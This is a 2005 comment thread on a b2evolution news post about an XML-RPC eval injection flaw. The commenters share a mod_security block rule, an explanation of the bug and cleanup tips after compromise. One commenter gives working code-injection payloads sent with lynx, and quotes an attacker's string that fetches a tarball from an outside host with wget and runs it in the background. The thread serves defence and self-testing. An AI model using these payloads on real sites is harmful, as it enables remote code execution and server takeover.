b2evolution News - Latest Comments on Fix for XML-RPC vulnerability (again!)

StevensF [Visitor] in response to: Fix for XML-RPC vulnerability (again!)

StevensF [Visitor] — Thu, 24 Nov 2005 18:58:17 +0000

Keep on the good work.

jwedgeco [Member] in response to: Fix for XML-RPC vulnerability (again!)

jwedgeco [Member] — Wed, 12 Oct 2005 10:37:31 +0000

If you can't patch or are extra paranoid, try this mod_security rule

# block access to b2evolutions xml interface
SecFilterSelective REQUEST_URI "/blogs/xmlsrv/xmlrpc.php"

Enric Naval [Visitor] in response to: Fix for XML-RPC vulnerability (again!)

Enric Naval [Visitor] — Fri, 16 Sep 2005 11:58:57 +0000

(continues)

I don't know the variable that was used for the exploit, but if you ever get to know its name then you can attempt to hack your unpatched weblog using this. Replace "var_name" and "weblog_url". That's your unpatched weblog, not an

(you have to escape the single quotes for "echo" to work)



echo '

var_name=,\'\');echo \'I got hacked.\';exit;/*

---

' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php

And of course:



echo '

var_name=,\'\');echo \'Hello, world.\';mail(root,\'p0wned!\',\'Patch b2evolution for XML-RPC.\');exit;/*

---

' | lynx -post_data weblog_url/xmlsrv/xmlrpc.php

Enric Naval [Visitor] in response to: Fix for XML-RPC vulnerability (again!)

Enric Naval [Visitor] — Fri, 16 Sep 2005 11:56:56 +0000

So, my hacker, as seen in former posts, probably used a query string like this :



var=,'')); system('wget linuxgods\.go\.ro/local\.tgz; tar -xzf local.tgz /tmp; nohup /tmp/local/exploit.sh&;');exit;/*

Download the program, uncompress and execute in background using nohup so the program will continue running after its father (the PHP page) has died.

Enric Naval [Visitor] in response to: Fix for XML-RPC vulnerability (again!)

Enric Naval [Visitor] — Fri, 16 Sep 2005 11:38:31 +0000

According to the explanation for the XML-RPC exploit, the problem is that they use eval() in data extracted from $HTTP_RAW_POST_DATA.

Gulf Tech report of XML-RPC vulnerability

They say the problem is that magic_quotes_gpc() isn't applied to $HTTP_RAW_POST_DATA, so you can POST a parameter containing a single quote.

This single quote, which was not escaped using magic_quotes_gpc(), allows you to end a string with the single quote, add a semicolon ";" to end the actual statement and execute whatever code you fancy.

So, for example, if you know that the page is reading the variable "var" from the raw POST, you can send this query string.



var=,'')); phpinfo(); exit;/*

In this case, I believe that ",''));" finishes correctly the actual call to eval. Everything after the semicolon will be then executed by the server as if it was code in the PHP page.

"phpinfo();" This executes phpinfo()
"exit;" This exits the PHP page.
"/*" and then it comments the rest of the code, so it won't execute and won't dump error to some log.

(I will continue later, I have problems posting)

Lenwood [Visitor] in response to: Fix for XML-RPC vulnerability (again!)

Lenwood [Visitor] — Mon, 05 Sep 2005 03:43:40 +0000

Can someone explain how to test this properly?

Thanks,
Chris

wrabbit [Member] in response to: Fix for XML-RPC vulnerability (again!)

wrabbit [Member] — Sat, 03 Sep 2005 19:04:30 +0000

Yeah, they just got me yesterday. Someone used it to upload a mail-sending PHP script, which they used to send out paypal scam emails. My host disabled my site until I was able to figure out how it happened.

Enric Naval [Visitor] in response to: Fix for XML-RPC vulnerability (again!)

Enric Naval [Visitor] — Sat, 03 Sep 2005 13:06:35 +0000

note: I knew the hacking program hadn't made anything harmful because I looked at ethereal and at the tcpdump output, and there were only the usual traffic plus the IRC connections. I actually executed the program myself to see what it did in the ethereal screen!

note: I just found a hacking program in /tmp, seems the hacker managed to download the program, but couldn't execute it. If you have had visitors to your xmlrpc file in access_log, and of you run apache as user "apache", look for strange directories in "/tmp" and "/var/tmp" and read this message.

The last time I found the downloaded program binaries here:

/tmp/ /.zbind

/var/tmp/ /.zbind

Notice the directory name is a single space. Notice the dot causes the directory not to be displayed when doing "ls -l".

I had to delete the directory like this:

rm "/tmp/ "

To enter the directory

cd "/tmp/ "

or

cd /tmp
cd " "

Well, that's all. Good luck with your servers.